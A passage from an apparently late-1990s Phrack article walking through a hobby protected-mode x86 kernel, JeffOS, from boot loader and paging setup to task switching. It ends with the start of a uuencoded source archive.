||
pre-existing operating systems. Mucking with this driver model, deciphering
|
||
that streams implementation, loving this, hating that. I decided it was time
|
||
to begin fresh and start really thinking about how to approach the design
|
||
of one, so that I would be happy with every part. At least if I wasn't, I
|
||
would only be calling myself names.
|
||
|
||
This article is the first tentative step in my development of an operating
|
||
system. What is here is not really much of a kernel yet. The big focus of
|
||
this article will be getting a system up and running in protected mode with a
|
||
very minimal kernel. I stress minimal. I have been asked repeatedly what my
|
||
design goals for this operating system are. The fact is the operating system
|
||
itself was the goal for this part. There was simply to much that I didn't
|
||
know about this stage of the development to go on designing something. It
|
||
would be like asking a kindergarten fingerpainter what her final masterpiece
|
||
was going to look like.
|
||
|
||
However, now that I have this phase reasonably done, it is time to begin
|
||
thinking about such issues as: a security subsystem, a driver subsystem, as
|
||
well as developing a real task manager and a real memory manager. Hopefully,
|
||
by the next phrack I will be able to not only answer what I want for these
|
||
topics but have also implemented many of them. This will leave me with a much
|
||
more solid kernel that can be built upon.
|
||
|
||
So, why write this article? There are several reasons. First, writing down
|
||
what you have done always help solidify your thoughts and understanding.
|
||
Second, having to write an article imposes a deadline on me which forces me to
|
||
get the job done. Finally, and most importantly I hope to give out enough
|
||
knowledge that others who are interested in the subject can begin to do some
|
||
work in it.
|
||
|
||
One comment on the name. JeffOS is not going to be the final name for this OS.
|
||
In fact several names have been suggested. However, I have no idea yet what I
|
||
want to call it, mostly because it just isn't solidified enough for a name.
|
||
When its all said and done, I do hope I can come up with something better than
|
||
JeffOS. For now, getting a real working kernel is more important than a real
|
||
working name.
|
||
|
||
I hope that you find the following information interesting, and worth
|
||
investigating further.
|
||
|
||
Cheers,
|
||
Jeff Thompson
|
||
AKA Mythrandir
|
||
|
||
|
||
PS: Some words on the Cryptography article. First a thank you for all of the
|
||
letters that I received on the article. I am happy to find that many people
|
||
found the article interesting. For several people it rekindled an old interest
|
||
which is always great to hear. However, for several people I have unfortunate
|
||
news as well. The next article in the series will have to be postponed for
|
||
a few issues until I complete this operating system. As is with many people,
|
||
I have been caught by a new bug (The OS bug) and have set myself up to be
|
||
committed to the work for some time. I am of course still interested in
|
||
discussing the topic with others and look forward to more email on the subject.
|
||
|
||
|
||
The winners of the decryption contest were:
|
||
|
||
1st message:
|
||
1st) Chaos at chaos@vector.nevtron.si
|
||
2nd) Oxygen at oxygen@james.kalifornia.com
|
||
|
||
Solution:
|
||
The baron's army will attack at dawn. Ready the Templar knights and strike his
|
||
castle while we hold him.
|
||
|
||
2nd message:
|
||
|
||
1st) Chaos
|
||
|
||
Solution:
|
||
MULTICAST PROTOCOLS HAVE BEEN DEVELOPED TO SUPPORT GROUP COMMUNICATIONS
|
||
THESE PROTOCOLS USE A ONE TO MANY PARADIGM FOR TRANSMISSION TYPICALLY
|
||
USING CLASS D INTERNET PROTOCOL ADDRESSES TO SPECIFY SPECIFIC MULTICAST GROUPS
|
||
|
||
Also, there is one typo in my article. The book which was written without the
|
||
letter 'e' was not The Great Gatsby, but rather Gadsby. Thanks to Andy
|
||
Magnusson for pointing that out.
|
||
|
||
|
||
Great job guys!
|
||
|
||
|
||
----[ Acknowledgements
|
||
|
||
|
||
I owe a certain debt to two people who have been available to me during my
|
||
development work. Both have done quite a bit of work developing their own
|
||
protected mode operating systems. I would like to thank Paul Swanson of the
|
||
ACM@UIUC chapter for helping solve several bugs and for giving me general tips
|
||
on issues I encountered. I would also like to thank Brian Swetland of
|
||
Neoglyphics for giving me a glimpse of his operating system. He was also nice
|
||
enough to allow me to steal some of his source code for my use. This source
|
||
include the console io routines which saved me a great deal of time. Also,
|
||
the i386 functions were given to me by Paul Swanson which has made a lot of
|
||
the common protected mode instructions easily useable.
|
||
|
||
Following new releases and information on this operating systems work, I am
|
||
currently redoing my web site and will have it up by Feb 1, 1998. I will be
|
||
including this entire article on that site along with all updates to the
|
||
operating system as I work on it. One of the first things that I will be
|
||
doing is rewriting all of the kernel. A large part of what is contained
|
||
within these pages was a learning experience. Unfortunately, one consequence
|
||
of trying to get this thing done was it becoming fairly messy and hackish. I
|
||
would like to clean it up and begin to build upon it. Having a good code base
|
||
will be invaluable to this. So please watch for the next, and future releases
|
||
of this code and feel free to contact me with any feedback or questions. I
|
||
will do my best to help. I won't be able to answer every question but I will
|
||
certainly try. Also, please be patient as I have a very busy schedule outside
|
||
of this project and am often times caught up by it.
|
||
|
||
I can be reached at:
|
||
jwthomp@cu-online.com
|
||
and my web site is at:
|
||
http://www.cu-online.com/~jwthomp/ (Up Feb 1, 1998)
|
||
|
||
|
||
----[ Introduction
|
||
|
||
|
||
Throughout this document I assume a certain level of knowledge on the part of
|
||
the reader. This knowledge includes c and assembly language programming, and
|
||
x86 architecture.
|
||
|
||
The development requirements for the GuildOS operating system are:
|
||
|
||
An ELF compiler
|
||
I used the gnu ELF compiler which comes with linux. It is possible to use
|
||
other ELF cross compilers on other systems as well.
|
||
|
||
a386 assembler
|
||
This can be obtained from:
|
||
|
||
Eric Isaacson
|
||
416 E. University Ave.
|
||
Bloomington IN 47401-4739
|
||
71333.3154@compuserve.com
|
||
|
||
or call 1-812-335-1611
|
||
A86+D86+A386+D386 is $80
|
||
Printed manual $10
|
||
|
||
This is a really nice assembler. Buy a copy. I did.
|
||
|
||
It is also possible to convert the boot loader assembly code to another
|
||
assembler.
|
||
|
||
A 486+ machine
|
||
You must have a machine to test the OS on.
|
||
|
||
Great books to read to gain an understanding of the various topics presented
|
||
in the following pages are:
|
||
|
||
Protected Mode Software Architecture by Tom Shanley from MindShare, Inc.
|
||
ISBN 0-201-55447-X $29.95 US
|
||
|
||
This book covers the protected mode architecture of the x86. It also explains
|
||
the differences between real mode and protected mode programming. This book
|
||
contains much of the information which is in the Intel Operating Systems
|
||
Developers guide, but also explains things much more in depth.
|
||
|
||
|
||
Developing Your Own 32-Bit Operating System by Richard A. Burgess from SAMS
|
||
Publishing. ISBN 0-672-30655-7
|
||
|
||
This book covers the development of a complete 32-bit OS. The author also
|
||
creates his own 32-bit assembler and compiler. Considerable portions of the
|
||
code are written in asm, but there is still quite a bit in C.
|
||
|
||
The entire Intel architecture series and their OS developers guides which are
|
||
available from their web site for free.
|
||
|
||
|
||
----[ Chapter 1 - Booting into protected mode
|
||
|
||
|
||
The first step in setting up an operating system on the x86 architecture is to
|
||
switch the machine into protected mode. Protected mode allows you to use
|
||
hardware protection schemes to provide operating system level security.
|
||
|
||
The first component which I began working on was the first stage boot loader
|
||
which is located in "JeffOS/loader/first/".
|
||
|
||
The first stage boot loader is placed on the first sector of the floppy. Each
|
||
sector is 512 bytes. This is not a lot of room to write all of the code
|
||
required to boot into protected mode the way I would like to so I had to break
|
||
the boot loader into two parts. Thus the first and second stage floppy loader.
|
||
|
||
After the Power On Self-Test (POST) test this first sector is loaded up into
|
||
memory location 0000:7C00. I designed the first stage of the floppy boot
|
||
loader to load up all of the files into memory to be executed. The first
|
||
instruction in the boot loader jumps to the boot code. However, between the
|
||
jump and the boot code are some data structures.
|
||
|
||
The first section is the disk parameters. I'm not currently using any of this
|
||
information but will in future versions. The next set of structures contain
|
||
information on the other data files on the floppy disk. Each structure looks
|
||
like this in assembly:
|
||
|
||
APCX DW 0000h ; Specifies CX value for INT 13h BIOS routine
|
||
APDX DW 0000h ; DX
|
||
APES DW 0000h ; ES
|
||
APBX DW 0000h ; BX
|
||
APSZ DB 0h ; Specifies number of sectors to read in
|
||
APSZ2 DB 0h ; Unused
|
||
|
||
There are four copies of this structure (APxx, BPxx, CPxx, DPxx).
|
||
|
||
The INT 13h BIOS call has the following arguments:
|
||
|
||
ch: Cylinder number to start reading from.
|
||
cl: Sector number to start at.
|
||
dh: Head number of drive to read from (00h or 01h for 1.44M floppy disk drives)
|
||
dl: Drive number (00h for Disk A)
|
||
es: Segment to store the read in sectors at.
|
||
bx: Offset into the segment to read the sectors into.
|
||
ah: Number of sectors to read in.
|
||
al: Function number for INT 13h. (02h is to read in from the disk)
|
||
|
||
I use the APxx to load the second stage boot loader. BPxx is being used
|
||
to load the first stage kernel loader. CPxx is used to load a simple user
|
||
program. Finally, DPxx is used to load the kernel in.
|
||
|
||
Following the loader structures are two unused bytes which are used to store
|
||
temporary data. SIZE is used but SIZE2 is not currently used.
|
||
|
||
The boot code follows these structures. This boot code relocates itself into
|
||
another section of memory (9000:0000 or 90000h linear). Once relocated, it
|
||
loads all of the files into memory and then jumps into the beginning of the
|
||
second stage boot loader.
|
||
|
||
The first part of the second stage boot loader contains a macro which is used
|
||
to easily define a Global Descriptor Table (GDT) entry. In protected mode the
|
||
GDT is used to store information on selectors. A selector in protected mode
|
||
is referred to by a number stored in any of the segment registers. A selector
|
||
has the following format:
|
||
|
||
Bits Use
|
||
15 - 3 Descriptor Table Index
|
||
2 Table Indicator
|
||
1 - 0 The Requestor Privilege Level
|
||
|
||
The Descriptor Table Index or (DT) is an index into the GDT. The first entry
|
||
in the GDT is 00h, the second is 08h, then 10h, etc.. The reason that the
|
||
entries progress in this manner is because the 3 least significant bits are
|
||
used for other information. So to find the index into the GDT you do a
|
||
segment & 0xfff8 (DT = Selector & 0xfff8).
|
||
|
||
The Table Indicator selects whether you are using a GDT or a Local Descriptor
|
||
Table (LDT). I have not yet had a reason to use LDT's so I will leave this
|
||
information to your own research for now.
|
||
|
||
Finally, the Requestor Privilege Level is used to tell the processor what
|
||
level of access you would like to have to the selector.
|
||
0 = OS
|
||
1 = OS (but less privileged than 0)
|
||
2 = OS (but less privileged than 1)
|
||
3 = User level
|
||
|
||
Typically levels 0 and 3 are the only ones used in modern operating systems.
|
||
|
||
The GDT entries which describe various types of segments have the following
|
||
form:
|
||
|
||
63 - 56 Upper Byte of Base Address
|
||
55 Granularity Bit
|
||
54 Default Bit
|
||
53 0
|
||
52 Available for Use (free bit)
|
||
51 - 48 Upper Digit of Limit
|
||
47 Segment Present Bit
|
||
46 - 45 Descriptor Privilege Level
|
||
44 System Bit
|
||
43 Data/Code Bit
|
||
42 Conforming Bit
|
||
41 Readable bit
|
||
40 Accessed bit
|
||
39 - 32 Third Byte of Base Address
|
||
31 - 24 Second Byte of Base Address
|
||
23 - 16 First Byte of Base Address
|
||
15 - 8 Second Byte of Limit
|
||
7 - 0 First Byte of Limit
|
||
|
||
|
||
The base address is the starting location of the segment descriptor (for code
|
||
or data segments). The limit is the number of bytes or 4k pages. Whether it
|
||
is bytes or 4k pages depends on the setting of the granularity but. If the
|
||
granularity bit is set to 0 then the limit specifies the length in bytes. If
|
||
it is set to 1 then the limit specifies the length of the segment in 4k pages.
|
||
|
||
The default bit specifies whether the code segment is 32bit or 16bit. If it is
|
||
set to 0 then it is 16bit. If it is set to 1 then it is 32bit.
|
||
|
||
The present bit is set to one if the segment is currently in memory. This is
|
||
used for virtual paging.
|
||
|
||
The descriptor privilege level is similar to the RPL. The DPL simply states at
|
||
what protection level the segment exists at. The values are the same as for
|
||
the RPL.
|
||
|
||
The system bit is used to specify whether the segment contains a system segment.
|
||
It is set to 0 if it is a system(OS) segment.
|
||
|
||
The data/code bit is used to specify whether the segment is to be used as a
|
||
code segment or as a data segment. A code segment is used to execute code
|
||
from and is not writable. A data segment is used for stacks and program
|
||
data. It's format is slightly different from the code segment depicted above.
|
||
|
||
The readable bit is used to specify whether information can be read from the
|
||
segment or whether it is execute only.
|
||
|
||
The next part of the second stage floppy boot loader contains the code which
|
||
is used to enable the A20 address line. This address line allows you to
|
||
access beyond the 1MB limit that was imposed on normal DOS real mode
|
||
operation. For a discussion of this address line I recommend looking at the
|
||
Intel architecture books.
|
||
|
||
Once enabled the GDT that exists as data at the end of the assembly file is
|
||
loaded into the GDT register. This must be done before the switch into
|
||
protected mode. Other wise any memory accesses will not have a valid selector
|
||
described for them and will cause a fault (I learned this from experience).
|
||
|
||
Once this is completed the move is made to protected mode by setting the
|
||
protected mode bit in the CR0 register to 1.
|
||
|
||
Following the code which enables protected mode, there is data which represents
|
||
a far call into the next portion of the second stage boot loader. This causes
|
||
a new selector to be used for CS as opposed to an undefined one.
|
||
|
||
The code that is jumped into simply sets up the various selectors for the data
|
||
segments.
|
||
|
||
There is then some simple debugging code which prints to the screen. This was
|
||
used for myself and can be removed.
|
||
|
||
The stack segment is then set up along with the stack pointer. I placed the
|
||
stack at 90000h.
|
||
|
||
Finally I push the value for the stack onto the stack (to be retrieved by the
|
||
kernel) and then call linear address 100080h which contains the first stage
|
||
loader for the kernel.
|
||
|
||
|
||
----[ Chapter 2 - The first stage kernel boot loader
|
||
|
||
|
||
The first stage kernel boot loader is located in \boot.
|
||
|
||
First some notes on what is happening with the first stage boot loader. The
|
||
boot loader is compiled to ELF at a set TEXT address so that I can jump into
|
||
the code and have it execute for me. In the makefile I specify the text
|
||
address to be 10080. The first 80h bytes are used as the ELF header. I
|
||
completely ignore this information and jump directly into linear memory
|
||
address 10080h. It is my understanding that newer versions of the ELF compiler
|
||
have a slightly different header length and may cause this number to need to be
|
||
modified. This can be determined by using a dissasembler (i.e. DEBUG in DOS)
|
||
to determine where the text segment is beginning.
|
||
|
||
The two files of importance to the boot loader are main.c and mem.c.
|
||
|
||
main.c contains the function `void _start(unsigned long blh);`. This function
|
||
must be the first function linked in. So main.c must be the first file which
|
||
is linked and _start() must be the first function in it. This guarantees that
|
||
start will be at 10080h. The parameter blh is the value which was pushed in
|
||
by the second stage boot loader. This originally had meaning, but no longer
|
||
does.
|
||
|
||
The first thing that _start does is to call kinit_MemMgmt which is the
|
||
initialization routine for memory.
|
||
|
||
The first thing that kinit_MemMgmt does is set nMemMax to 0xfffff. This is
|
||
the maximum number of bytes on the system. This value is 1MB. kinit_MemMgmt
|
||
then calls kmemcount which attempts to calculate the amount of free memory on
|
||
the system. Currently this routine does not work properly and assumes that
|
||
there is 2MB of free memory on the system. This is sufficient for now but
|
||
needs to be fixed in the future.
|
||
|
||
kinit_MemMgmt then calls kinit_page which sets of the page tables for the
|
||
kernel.
|
||
|
||
Paging is the mechanism used to define what memory a task is able to access.
|
||
This is done by creating a "virtual" memory space which the task accesses.
|
||
Whenever an access to memory occurs the processor looks into the page tables
|
||
to determine what "real" physical memory is pointed to by this memory location.
|
||
For example, the kernel could designate that each task will get 32k (8 pages)
|
||
of memory to use for the stack. Without using paged memory each of these
|
||
memory locations would occur at a different address. However, by using paging
|
||
you can map each of these physical memory allocations to a paged address
|
||
which allows each of these allocations to appear to occur at the same location.
|
||
|
||
The page tables are broken up in the following manner. First is the page
|
||
directory. It is composed of 1024 entries which have the following properties:
|
||
|
||
31 - 12 Page Table Base Address
|
||
11 - 9 Unused (Free bits)
|
||
8 0
|
||
7 Page Size Bit
|
||
6 0
|
||
5 Accessed Bit
|
||
4 Page Cache Disable Bit
|
||
3 Page Write Through Bit
|
||
2 User/Supervisor Bit
|
||
1 Read/Write Bit
|
||
0 Page Present Bit
|
||
|
||
The Page Table Base address is an index to the page table which contains
|
||
information about this memory location. When a memory location is accessed
|
||
the most significant 10 bits are used to reference one of the 1024 entries in
|
||
the page directory. This entry will point to a page table which has a physical
|
||
memory address equal to the Page Table Base Address. This table is then
|
||
referenced to one of its 1024 entries by the 21 - 12 bits of the memory
|
||
address.
|
||
|
||
The Page Size Bit tells whether each page is equal to (Bit = 0) 4kb or
|
||
(Bit = 1) 4MB.
|
||
|
||
The accessed bit is used to show whether the page has ever been accessed. Once
|
||
set to 1, the OS must reset it to 0. This is used for virtual paging.
|
||
|
||
The Page Cache Disable Bit and Page Write Bit are not currently used by me, so
|
||
I will leave its definition as an exercise to the reader (enjoy).
|
||
|
||
The User/Supervisor Bit specifies whether access to the page table is
|
||
restricted to access by tasks with privilege level 0,1,2 or 3. If the bit is
|
||
set to 0 then only tasks with level 0, 1, or 2 can access this page table. If
|
||
the bit is set to 1, then tasks with level 0, 1, 2, or 3 can access this page
|
||
table.
|
||
|
||
The Read/Write bit is used to specify whether a user level task can write to
|
||
this page table. If it is set to 0 then it is read only to "User" tasks. If
|
||
it is set to 1 then it is read/writable by all tasks.
|
||
|
||
Finally, the Present Bit is used to specify whether the page table is present
|
||
in memory. If this is set to 1 then it is.
|
||
|
||
|
||
Once the page directory is referenced, the offset into the page table is
|
||
selected. Using the next 10 bits of the memory reference. Each page table
|
||
has 1024 entries with each entry having the following structure:
|
||
|
||
31 - 12 Page Base Address
|
||
11 - 9 Unused (Free bits)
|
||
8 - 7 0
|
||
6 Dirty Bit
|
||
5 Accessed Bit
|
||
4 Page Cache Disable Bit
|
||
3 Page Write Through Bit
|
||
2 User/Supervisor Bit
|
||
1 Read/Write Bit
|
||
0 Page Present Bit
|
||
|
||
The Page Base Address points to the upper 20 bits in physical memory where
|
||
the memory access points to. The lower 12 bits are taken from the original
|
||
linear memory access.
|
||
|
||
The Dirty, Accessed, Page Cache, and Page Write Through Bits are all used for
|
||
virtual memory and other areas which I have not yet been concerned yet. So
|
||
they are relegated to the reader (for now).
|
||
|
||
The remaining three bits behave just as in the page directory except that
|
||
they apply to the physical memory page as opposed to a page table. All
|
||
kernel pages are set to have Supervisor, Read/Write, and Page Present bits
|
||
set. User pages do not have the supervisor bits set.
|
||
|
||
The code in kinit_page creates the page directory in the first of the three
|
||
physical pages that it set aside. The next page is used to create a low (user)
|
||
memory area of 4MB (One page table of 1024 entries points to 1024 4kb pages,
|
||
Thus 4MB). The third page is used to point to high (OS) memory.
|
||
|
||
The kinit_page function sets all of the low page memory equal to physical
|
||
memory. This means that there is a one to one correlation for the first 4MB
|
||
of memory to paged memory. kinit_page then maps in ten pages starting at
|
||
70000h linear into 0x80000000. Entry number 0 of the page directory is then
|
||
set to point to the low page table. Entry number 512 is set to point to the
|
||
high page table.
|
||
|
||
Finally the kinit_page function places the address of the page directory
|
||
into the cr3 register. This tells the processor where to look for the page
|
||
tables. Finally, cr0 has its paging bit turned on which informs the processor
|
||
that memory accesses should go through the page table rather than just being
|
||
direct physical memory accesses.
|
||
|
||
After this the _start function is returned into and k_start() has been set to
|
||
0x80000080 which points to the _start() function in the main kernel.
|
||
_start in the boot code calls this function which starts the real kernel off.
|
||
|
||
|
||
----[ Chapter 3 - The Kernel
|
||
|
||
|
||
The kernel is where all of the fun begins. Unfortunately, this is the place
|
||
that needs the most work. However, there is enough here to demonstrate the
|
||
beginnings of what needs to be done to build a viable kernel for your own work.
|
||
|
||
The kernel boot loader created the kernel page table and then jumped into the
|
||
kernel at _start(); _start() then sets up the console, clears it, and displays
|
||
the message "Main kernel loaded.". Once this is done it runs the memory
|
||
manager initialization routine 'kinit_page()'.
|
||
|
||
The memory manager initialization routine begins by initializing a structure
|
||
called the PMAT. The PMAT is a giant bit field (2048 bytes), where each bit
|
||
represents one page of physical memory. If a bit is set to 1, the
|
||
corresponding page of memory is considered allocated. If the bit is set to 0
|
||
then it is considered unallocated. Once this array is initialized the memory
|
||
management code sets aside the chunks of physical memory which are already in
|
||
use. This include the system BUS memory areas, as well as the location of the
|
||
kernel itself in physical memory. Once this is completed the memory manager
|
||
returns to the _start() function so that it can proceed with kernel
|
||
initialization.
|
||
|
||
The _start() function then calls a temporary function which I am using now to
|
||
allocate memory which is use by the user program loading in by the first
|
||
stage floppy loader. This will go away after I add the loading of processes
|
||
off of disk during run time. This function sets aside the physical memory
|
||
which is located at 20000h linear.
|
||
|
||
Now that the basic memory system is set up the _start() function calls the
|
||
kinit_task() function. kinit_task() sets up the kernel task so that it can
|
||
run as a task rather than as a the only process on the system.
|
||
|
||
kinit_task() is really a shell function which calls two other functions:
|
||
kinit_gdt() and kinit_ktask(); kinit_gdt() initializes a new kernel GDT which
|
||
is to be used by the kernel rather than the previous temporary one which was
|
||
set up by the second stage floppy boot loader. Once the new location for the
|
||
gdt is mapped into memory several selectors are added to it. Kernel Code and
|
||
Data selectors are added. Also, User Code and Data selectors are added. Once
|
||
these selectors are put into place, the new gdt is placed in the gdt register
|
||
on the processor so that it can be used.
|
||
|
||
kinit_task() now calls the kinit_ktask() function. This task creates a task
|
||
which the kernel code will be executed as. The first thing this function does
|
||
is to clear out the kernels task list. This list contains a list of tasks
|
||
on the system. Next a 4k page is allocated for the kernel task segment. The
|
||
current executing task is then set to the kernel task. Next the task segment
|
||
is added to the GDT. This task segment has the following structure and is
|
||
filled out for the kernel with the following values by me. In fact all tasks
|
||
will start out with these settings.
|
||
|
||
|
||
struct TSS {
|
||
ushort link; // set to 0
|
||
ushort unused0;
|
||
ulong esp0; // set to the end of the task segment page
|
||
ushort ss0; // set to SEL_KDATA (Kernel Data segment)
|
||
ushort unused1;
|
||
ulong esp1; // set to 0
|
||
ushort ss1; // set to 0
|
||
ushort unused2;
|
||
ulong esp2; // set to 0
|
||
ushort ss2; // set to 0
|
||
ushort unused3;
|
||
ulong cr3; // set to the physical address of this tasks page
|
||
// tables
|
||
ulong eip; // set to the entry point to this tasks code
|
||
ulong eflags; // set to 0x4202
|
||
ulong eax, ecx, edx, ebx, esp, ebp, esi, edi; // set to garbage values
|
||
ushort es; // set to SEL_KDATA (Kernel data segment)
|
||
ushort unused4;
|
||
ushort cs; // set to SEL_KCODE (Kernel code segment)
|
||
ushort unused5;
|
||
ushort ss; // set to SEL_KDATA
|
||
ushort unused6;
|
||
ushort ds; // set to SEL_KDATA
|
||
ushort unused7;
|
||
ushort fs; // set to SEL_KDATA
|
||
ushort unused8;
|
||
ushort gs; // set to SEL_KDATA
|
||
ushort unused9;
|
||
ushort ldt; // set to 0
|
||
ushort unused10;
|
||
ushort debugtrap; // set to 0
|
||
ushort iomapbase; // set to 0
|
||
};
|
||
|
||
|
||
The link field is used by the processor when an interrupt is called. The
|
||
processor places a pointer to the task segment which was running prior to the
|
||
interrupt. This is useful for determining access rights based on the calling
|
||
process.
|
||
|
||
The espx and ssx parameters are used to store a pointer to a stack which will
|
||
be used when a task with a lower privilege level tries to access a high level
|
||
privilege area.
|
||
|
||
The cr3 parameter is used to store a pointer to the physical address of this
|
||
tasks page table. Whenever this task is switched to, the processor will load
|
||
the value stored in cr3 into the cr3 register. This means that each task can
|
||
have a unique set of page tables and mappings.
|
||
|
||
The eax, ebx, etc.. registers are all set to a garbage value as they are
|
||
uninitialized and will only gain values once they are used. When the processor
|
||
switches to this task these parameters will be loaded into their respective
|
||
processor registers.
|
||
|
||
The cs, es, ss, ds, fs, and gs parameters are all set to meaningful values
|
||
which will be loaded into their respective processor registers when this
|
||
task is switched to.
|
||
|
||
As I am not using a local descriptor I set this parameter to 0 along with the
|
||
debugtrap and iomapbase parameters.
|
||
|
||
As I have mentioned every time a task is switched to the processor will load
|
||
all of the parameters from the task segment into their respective registers.
|
||
Likewise, when a task is switched out of, all of the registers will be stored
|
||
in their respective parameters. This allows tasks to be suspended and to
|
||
restart with the state they left off at.
|
||
|
||
Switching tasks will be discussed later when the point in the kernel where this
|
||
takes place at is reached.
|
||
|
||
Once this task state segment is created it is necessary to create an entry in
|
||
the GDT which points to this task segment. The format of this 64 bit entry is
|
||
as follows:
|
||
|
||
63 - 56 Fourth Byte of Base Address
|
||
55 Granularity Bit
|
||
54 - 53 0
|
||
52 Available for use (free bit)
|
||
51 - 48 Upper Nibble of Size
|
||
47 Present in Memory Bit
|
||
46 - 45 Descriptor Privilege Level
|
||
44 System Built
|
||
43 16/32 Bit
|
||
42 0
|
||
41 Busy Bit
|
||
40 1
|
||
39 - 32 Third Byte of Base Address
|
||
31 - 24 Second Byte of Base Address
|
||
23 - 16 First Byte of Base Address
|
||
15 - 8 Second Byte of Segment Size
|
||
7 - 0 First Byte of Segment Size
|
||
|
||
As you have probably noticed, this structure is very similar to the code
|
||
segment descriptor. The differences are the 16/32 bit, and the Busy Bit.
|
||
|
||
The 16/32 Bit specifies whether the task state segment is 16 bit or 32 bit.
|
||
We will only be using the 32 Bit task segment (Bit = 1). The 16 bit task state
|
||
segment was used for the 286 and was replaced by a 32 bit task state segment on
|
||
the 386+ processors.
|
||
|
||
The busy bit specifies whether the task is currently busy.
|
||
|
||
Once the kernel task is allocated, a new kernel stack is allocated and made
|
||
active. This allows the stack to be in a known and mapped in location which
|
||
uses the memory manager of the kernel.
|
||
|
||
The user tasks is then created in a similar fashion as the kernel task. In
|
||
this current implementation the user task is located at 0x20000. Its stack
|
||
is located at 0x2107c. Currently, this user task operates with OS level
|
||
privilege. I encountered some problems when changing its selectors to user
|
||
entries in the GDT. As soon as I fix this problem I will post a fix on my web
|
||
site. After the user task is created it is added to the task queue to be
|
||
switched to once the scheduler starts.
|
||
|
||
Now that the kernel task and a user task (though running with kernel privilege
|
||
level) have been created it is necessary to set up the interrupt tables. This
|
||
is done by a call to the kinit_idt() function.
|
||
|
||
kinit_idt() starts by setting all of the interrupts to point to a null
|
||
interrupt function. This means that for most interrupts a simple return
|
||
occurs. However, interrupt handlers for the timer as well as for one system
|
||
call. Also, interrupts are set up to handle the various exceptions. Once
|
||
this table is filled out the interrupt descriptor table (IDT) is loaded into
|
||
the idt register. The interrupts are then enabled to allow them to be called.
|
||
|
||
The timer interrupt handler is a simple function which calls a task switch
|
||
every time the hardware timer fires.
|
||
|
||
The system call (interrupt 22h) is called, the handler will print out on the
|
||
console the string which is pointed to be the eax register.
|
||
|
||
The exception handling routine will dump the task registers and then hang the
|
||
system. The jump.S file in JeffOS/kernel/ contains the assembly wrappers which
|
||
are called when an interrupt occurs. These wrapper functions then call the C
|
||
handler functions.
|
||
|
||
Now that the IDT is set up and interrupts are occurring task switches can occur.
|
||
These occur when the swtch() function is called in the task.c file. The
|
||
swtch() function locates the next task in its queue and does a call to the
|
||
selector address of the new task. This causes the processor to look up the
|
||
selector and switch to the new task.
|
||
|
||
You now have a very simple multi-tasking kernel.
|
||
|
||
|
||
----[ Chapter 4 - User level libraries
|
||
|
||
|
||
The user level libraries are fairly simplistic.
|
||
|
||
There are two files in this directory. The first is the crt0.c file.
|
||
This file contains one function which is the _start() function. This function
|
||
makes a call to main which will be defined in user code. This stub function
|
||
must always be linked in first as it will be jumped into by the kernel to
|
||
begin running the process.
|
||
|
||
The second file is the syscall.c file. This file contains one system call
|
||
function which is simply an interrupt 22. This interrupt calls the console
|
||
system call. eax is passed in as a pointer to a string which is printed to
|
||
the system console.
|
||
|
||
Both of these source files are compiled to objects and are used during the
|
||
linking phase of any user code.
|
||
|
||
|
||
----[ Chapter 5 - User code
|
||
|
||
|
||
The user code is stored in one file called test.c. This file is located in
|
||
the /user/ directory. All this code does is call the console system call
|
||
function provided by the library, wait a short amount of time, and call it
|
||
again in a non-terminating loop (good thing, as I don't handle task
|
||
termination yet).
|
||
|
||
The important thing to note is that when linking this user process is set to
|
||
have a text segment of 20000h linear. Also the crt0.o and syscall.o files are
|
||
linked in as well. crt0.o is linked in first to insure that its _start()
|
||
function is at 20080h so it will be jumped into by the kernel. In truth,
|
||
_start() is the real main as opposed to the main() everyone is used to dealing
|
||
with.
|
||
|
||
This code is the task which is created and run alongside the kernel, as
|
||
described in chapter 3.
|
||
|
||
|
||
----[ Chapter 6 - Creating a disk image out of the binaries
|
||
|
||
|
||
Once you have compiled all of the binaries and placed them into the build
|
||
directory you will need to create two more files before continuing. These
|
||
files are called STUFF.BIN and STUFF2.BIN. These files are simply containers
|
||
of empty space to cause alignment of other binaries. The floppy loader
|
||
expects the user program to be 1k in size. If the user program is not exactly
|
||
this size then STUFF2.BIN needs to be created and be of such a size that when
|
||
added to USER.BIN the size is 1024 bytes. Also, the floppy boot loader
|
||
expects the kernel boot loader to be 3.5k (3584 bytes) in size. STUFF.BIN
|
||
needs to be made of such length that when added to the size of the BOOT.BIN
|
||
(kernel boot loader) file the size will be 3584 bytes. In the future I will
|
||
try to automate this process, but for now this is simply how it must be done.
|
||
Once this is complete the shell program 'go' must be run. This will place all
|
||
of the binary files into one file called 'os.bin'. This file can then be
|
||
written to disk by one of the following two methods.
|
||
|
||
If you want to do it from linux you can do the following command:
|
||
|
||
dd if=os.bin of=/dev/fd0 (places os.bin directly onto the floppy disk)
|
||
|
||
or from DOS you can obtain the rawrite command and run it and follow its
|
||
directions.
|
||
|
||
|
||
----[ Conclusion
|
||
|
||
|
||
The kernel contained within is far from complete. However, it is a first step
|
||
towards creating a real protected mode operating system. It is also enough to
|
||
begin working with, or to refer to during you own work on a protected mode
|
||
operating system. Doing this work is simply both one of the most rewarding
|
||
things you will ever do, and one of the most frustrating. Many a night has
|
||
been spent at the local tavern telling war stories about this stuff. But in
|
||
the end, it has all been great fun.
|
||
|
||
I wish you all the best of luck!
|
||
|
||
Jeff Thompson
|
||
jwthomp@cu-online.com
|
||
http://www.cu-online.com/~jwthomp/
|
||
|
||
<++> JeffOS.tgz.uue
|
||
begin 600 JeffOS.tgz
|
||
M'XL(`(-CQC0``^P\:W?:R)+Y"N?D/_3!<]=@$R(!Q@Y,<@\&G#CKUQKG9C(W
|
||
M<WP$:D"QD%BU,'AF\]^WJKI;+^-'LH[WSAUW'JA?]>[J:G7!>SX:'?=?/ON1
|
||
MA=6-;<-@SQB6[*>JL$:]8<+?K;K)F&F86^8SMO5#J5)E+D(K8.Q9X/OA;>/N
|
||
MZO^3EO=2_ZYOV3SX06:P0O]FO;Y"_U5CJV;6H==LU(U_,?W/!0_$8Q#TN"6M
|
||
M?\&'OF<_M!E\N_YKIEE[TO]CE)7ZEQ\52TP?!(=I&(U;]%_;WM[*Z'^K:H#^
|
||
MC0?!?D?YB^N_S\==+H;LL-TY/7Z>S]D+5ERKL?91EQE[4$JZK9II&[`U4S=-
|
||
M5$-=?6ZQXU.VUHB&]=^=LIWG^;7>X?/\\SQ(TH2^X].WS)A@PRZ(OHD/N:E_
|
||
MR0;+,MN>J(HU*8.MZ(I;9NOM=:@Y7@A!PB2:8\&<H5`56Y2A056XJCS/MZM&
|
||
MV[8#+@3@0KMKL3X/&30SU<Y<Q^-LP@..XW%(YV`?X'3:!P>,>];`Y3!:]O3/
|
||
